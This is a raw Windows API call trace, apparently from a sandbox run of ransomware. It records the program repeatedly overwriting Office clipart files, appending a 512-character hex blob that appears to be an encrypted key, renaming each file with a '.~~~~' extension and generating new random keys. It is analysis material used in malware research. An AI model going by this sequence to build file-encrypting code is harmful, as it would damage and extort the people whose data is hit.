	[0097.314] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdb48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.314] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x24b8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x24b8, lpOverlapped=0x0) returned 1
	[0097.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.315] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.315] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.315] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.315] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.315] CloseHandle (hObject=0x11c) returned 1
	[0097.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.316] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.~~~~")) returned 1
	[0097.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.316] GetLastError () returned 0x0
	[0097.325] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.325] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.326] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21731576693) returned 1
	[0097.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3b98af0, dwHighDateTime=0x1d60e1e)) 
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28409d0
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28409d0 | out: hHeap=0x300000) returned 1
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843980
	[0097.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.327] GetLastError () returned 0x0
	[0097.327] GetLastError () returned 0x0
	[0097.327] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.327] GetLastError () returned 0x0
	[0097.327] GetLastError () returned 0x0
	[0097.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffeaa0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.330] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1560, lpOverlapped=0x0) returned 1
	[0097.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.331] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.331] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.331] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.331] CloseHandle (hObject=0x138) returned 1
	[0097.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dbb00
	[0097.331] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.~~~~")) returned 1
	[0097.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dbb00 | out: hHeap=0x300000) returned 1
	[0097.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.332] GetLastError () returned 0x0
	[0097.332] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.333] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.333] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.334] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21732369472) returned 1
	[0097.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3b98af0, dwHighDateTime=0x1d60e1e)) 
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840a08
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840a08 | out: hHeap=0x300000) returned 1
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dbb00
	[0097.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843be0
	[0097.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dbb00 | out: hHeap=0x300000) returned 1
	[0097.334] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.334] GetLastError () returned 0x0
	[0097.334] GetLastError () returned 0x0
	[0097.334] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.335] GetLastError () returned 0x0
	[0097.335] GetLastError () returned 0x0
	[0097.338] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffefcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.338] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1034, lpOverlapped=0x0) returned 1
	[0097.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.338] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.338] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.338] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.338] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.338] CloseHandle (hObject=0x138) returned 1
	[0097.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.339] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.~~~~")) returned 1
	[0097.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.339] GetLastError () returned 0x0
	[0097.339] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.340] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0097.340] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0097.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.340] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21733205917) returned 1
	[0097.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3bbec50, dwHighDateTime=0x1d60e1e)) 
	[0097.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840a78
	[0097.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0097.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840a78 | out: hHeap=0x300000) returned 1
	[0097.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0097.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843c78
	[0097.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.343] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.343] GetLastError () returned 0x0
	[0097.343] GetLastError () returned 0x0
	[0097.343] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.343] GetLastError () returned 0x0
	[0097.343] GetLastError () returned 0x0
	[0097.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff83bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.410] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7c44, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x7c44, lpOverlapped=0x0) returned 1
	[0097.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.417] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.417] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.417] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.417] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.418] CloseHandle (hObject=0x138) returned 1
	[0097.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.424] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.~~~~")) returned 1
	[0097.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.424] GetLastError () returned 0x0
	[0097.425] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.426] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.426] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.426] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21741590650) returned 1
	[0097.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3c7d330, dwHighDateTime=0x1d60e1e)) 
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840d18
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840d18 | out: hHeap=0x300000) returned 1
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c2e0
	[0097.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.426] GetLastError () returned 0x0
	[0097.433] GetLastError () returned 0x0
	[0097.433] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.433] GetLastError () returned 0x0
	[0097.433] GetLastError () returned 0x0
	[0097.553] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffa404, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.553] WriteFile (in: hFile=0x138, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x5bfc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x5bfc, lpOverlapped=0x0) returned 1
	[0097.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.553] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.554] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.554] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.554] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.554] CloseHandle (hObject=0x138) returned 1
	[0097.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.~~~~")) returned 1
	[0097.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.555] GetLastError () returned 0x0
	[0097.561] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.562] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.562] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.562] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21755204001) returned 1
	[0097.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3dd3f90, dwHighDateTime=0x1d60e1e)) 
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ea0
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ea0 | out: hHeap=0x300000) returned 1
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c838
	[0097.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.562] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.563] GetLastError () returned 0x0
	[0097.563] GetLastError () returned 0x0
